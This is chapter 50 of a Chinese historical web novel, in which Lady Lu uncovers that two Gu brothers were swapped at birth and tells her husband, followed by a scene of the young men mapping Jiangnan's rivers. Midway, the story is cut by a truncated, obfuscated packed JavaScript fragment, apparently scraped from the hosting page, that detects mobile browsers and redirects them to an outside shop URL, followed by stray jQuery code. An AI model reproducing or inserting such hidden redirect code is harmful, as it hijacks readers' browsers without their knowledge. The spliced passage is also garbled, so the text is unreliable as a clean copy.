第五十章
待回到房中卸钗环,卢夫人愈想愈觉得蹊跷。
顾家兄弟二人相貌确有七八分相似,细看却大有不同。
恰逢卢湛河回房,她忙将人拉到烛光下,捧着丈夫的脸细看。卢湛河的眸色也是琥珀色,与他妹妹一般无二,阿令和阿屹也是如此。
这是卢家血脉的印记。
而顾凌云那双墨玉般的眸子,沉静如古井深潭。
往日未见顾青云尚不觉得,如今兄弟并坐,那差异便再难忽视。
除非,顾青云的生母也生着这样一双琥珀色丹凤眼。
卢夫人越想越觉得不对劲,捧着卢湛河的脸竟发起了呆。
“夫人这是做什么?”卢湛河忍不住握着她的手笑问。
卢夫人回神,暂按下心中惊疑,只嗔笑着找了个理由:“只是今日见孩子们都大了,想起我们年少时光罢了。”
卢湛河轻轻一笑,拉着她的手往床榻走去,竟也有几分往日的风流:“看来夫人是嫌弃为夫老了。”
轻纱落下,老夫老妻自有一番温情。
*
卢夫人素来沉稳,虽心生疑窦却未声张。
待卢屹与顾凌云收拾行装重返书院,她照例备齐行李,连顾青云那份也细心准备妥当。
见女儿强忍不舍将表哥送上马车,卢夫人心头又是一紧。若顾家兄弟身世真有问题……
事关爱女终身,她不得不慎。
几经思量,卢夫人还是决意先亲眼见见丁氏。
奈何丁氏深居简出,一直深居柳府养病。
身为执掌世家内宅多年的大妇,她自有她的手段。卢夫人思虑片刻,命人给柳夫人递了帖子。
如今柳家与卢家有生意来往,她便借为由儿女祈福之名,邀柳夫人同往西郊水月庵,倒也不算唐突。
柳夫人乃商贾之妇,接到卢府的帖子,高兴之余又生怕出错,丢脸事小,惹恼了卢夫人事大。
还是柳夫人的奶嬷嬷提醒,东院的丁夫人不是出自顾府吗?虽是妾室,到底也是正经世家的小夫人,一定懂的比咱们多呀,不如请她相陪。
柳夫人一想也是,立即去了东院,请丁氏相伴。
她也知道,顾青云颇得卢家青眼,有这层关系在,总不至冷场。
丁氏本欲推辞,奈何柳夫人盛情难却,又听闻是为孩子们祈福,终究心动应允。
一行人去了水月庵,早有主持在门外等着。
待焚香祈福结束,众人去了厢房小憩。
卢夫人也终于有机会,细细观察丁氏。
丁氏确是个美人,却是与卢氏迥异的娇柔之美,这也难怪无人怀疑顾青云非她所出。
从前的顾青云,性子不也这般娇懦?
可细看之下,丁氏瞳色偏深,眼型反倒更似顾凌云,只是男女有别,顾凌云的眉眼更显英气,这才无人察觉异样。
卢夫人心念电转,已知其中关窍。这对兄弟出生仅隔一日,刚出生的婴孩一天一个变样,便是换了又有谁会发现?
一个骇人的猜测在她心中成形。
但她需要实证。
轻叹一声,她状若后怕地对众人道:“只求菩萨保佑,孩子们往后可别再遭这样的罪了。”
柳夫人听儿子说过顾家兄弟发生的事,闻言立时附和:“如今世道确实不太平,听说顾大公子前阵子遇了险?如今可还好?”
卢夫人余光一直注意着丁氏,见她听到顾凌云就抬起了头,心中更是确定三分。
卢夫人继续叹息:“我那外甥也是命大,万幸捡回条命,却是吃尽了苦头。先是被山匪掳去,又险些葬身虎口,腿上的伤口深可见骨,想想都心惊。”
丁氏手中的帕子早就在她说第一个字的时候就被拧紧。
山匪,虎口,重伤,每个词都叫她心头猛跳,几乎喘不上气。
此时丁氏再顾不得礼数,一把攥住卢夫人的手腕,面色惨白如纸:“大公子他……究竟怎么了?”
卢夫人心头雪亮。
一个姨娘,怎会对无血缘的嫡子关切至此?
除非,那是她身上掉下来的肉。
好一桩剪不断理还乱的公案。
虽得了答案,卢夫人心中反而更乱。
顾凌云是她看着长大的孩子,更是阿令放在心尖上的人。为阿令好,自然是当做不知此事,将错就错下去。
可小姑子又何其无辜?难道要让她至亲骨肉近在咫尺,却一世不能相认?
辗转反侧三日,卢夫人终是拿定主意,此事关系重大,她一人难以决断,必须与夫君商议。
卢湛河身为卢家一家之主,更是卢氏的嫡亲兄长,于公于私都该知晓真相。
是夜,卢湛河处理完公务回府,管家便禀报夫人在书房等候。
卢湛河心下诧异,夫人素来有分寸,若非紧要事绝不会去他书房。
可任他如何揣测,也万万想不到竟会是这般石破天惊的秘辛。
“什么?!你说怀瑾才是我亲外甥,逸尘是那丁氏所生?!”
卢湛河霍然起身,茶盏被衣袖带翻,碎瓷与茶水溅了一地。他为官三十余载,历经风雨无数,却从未如此失态。
卢夫人忙将他按回太师椅,轻抚他剧烈起伏的胸膛:“早劝你莫要激动。”
“这叫我如何冷静!”卢湛河倒吸凉气,指尖都在发颤。
经夫人点拨,那些被忽略的细节霎时清晰起来。
他想起初见顾青云时那莫名的熟悉感。他与卢屹并肩而行,眉眼间竟有三分神似。
当时卢湛河只当是错觉,如今想来,他那眉眼分明是像了卢家人!
“荒唐!简直荒唐!”卢湛河怒极反笑,恨不能将顾明舟从棺椁中揪出质问。统共只得两个儿子,竟还能弄混至此!
倒是卢夫人更显镇定:“后宅阴私,什么事不曾有过?妹妹当年难产昏迷三日,若有人存心作祟,岂非易如反掌?”
卢湛河霎时通体生寒,脑海中跳出无数阴谋诡计。
若顾青云当真是他亲外甥,那从前种种顽劣行径,恐怕未必是故意藏拙,而是有人刻意将他养废。
岂料这孩子天生慧根,离了顾家反而破茧成蝶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753115|185759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>不愧是他卢家的血脉!卢湛河心头竟不合时宜地生出几分骄傲。
“此事绝不能就此作罢!我卢家血脉怎能受这样的委屈!”卢湛河当即要遣人去接回顾青云,却被卢夫人拦住。
“且慢!你将怀瑾认回,可曾想过逸尘当如何自处?”
这话如冷水浇头,让卢湛河瞬间怔在当场。
顾凌云也是他亲自教导过,疼爱了许多年的,狸猫换太子的把戏,与他又何干?
一朝天地翻覆,不仅身份变幻,连亲娘都换了一个,叫他如何承受?
一时间,卢湛河心头也如乱麻。
好在如今顾青云和顾凌云都远在姑苏,卢湛河还有时间慢慢思量。
*
入秋以后的江南,并未迎来惯常的秋高气爽,取而代之的是连绵不绝的淅沥秋雨,就连空气中也弥漫着一股沉重的霉味。
顾青云几人穿着厚重的蓑衣,刚从泥泞的河边勘测归来。
一进房门,顾青云便迫不及待地换了干燥的衣裳,随即走到书案前,将方才考察的河道情况逐一标注在书册上。
那书册显然已用了大半,页角卷曲,上面密密麻麻写满了各种数据和草图。
这时,白钰端着一碗热气腾腾的姜汤走了进来:“怀瑾,先把这碗姜汤喝了吧,出门在外,若是染了风寒可就麻烦了。”
顾青云抬头道了一声谢,接过陶碗,也顾不得烫,三两口便将辛辣的姜汤灌了下去,随即又俯身投入到书写中,生怕遗漏了任何一丝细节。
不多会儿,卢屹、顾凌云、彭浩然和陆晔也都换好了干爽衣物,相继走了过来,围拢在书案旁。
小小的厢房顿时显得有些拥挤,却也多了几分人气。
顾青云落下最后一笔,仔细将墨迹吹干,郑重地将书册递给身旁一直沉默不语的顾凌云。
“剩下的部分,就交给你了。”
顾凌云没有多言,只是默默接过书册,然后打开了用油布仔细包裹好的画卷,铺在桌面上。
画卷展开,一幅日益详尽的江南水系图呈现在众人眼前:图上笔墨纵横,却又格外细致。主河道用浓墨勾勒,支流则以淡墨晕染,险要的河段、潜在的淤积点,也都用朱笔做了特殊标记。
旁边还有密密麻麻的蝇头小楷,标注着河宽、水深、流速、泥沙含量等数据。
整幅图虽尚未彻底完成,但那精密严谨、脉络清晰的气象已足以令人惊叹。
卢屹俯身细看,眼中流露出毫不掩饰的赞许:“逸尘这笔墨丹青,实在精妙。”
顾凌云头也不抬,一边对照着顾青云的记录,一边执笔蘸墨,语气平淡无波:“我只不过是按图索骥而已。”
彭浩然心直口快,接口道:“多亏了怀瑾心细如发,每一次勘测都力求精准,反复核验,不然咱们这图也画不了这么细致。”
顾青云闻言却并不揽功,只淡淡一笑:“这是大家的心血所系,非我一人之力。若无诸位各展所长,单凭我一人,便是跑断腿,也绝无可能完成此图。”
陆晔轻笑:“那也多亏你将我们这些人组到一块啊。”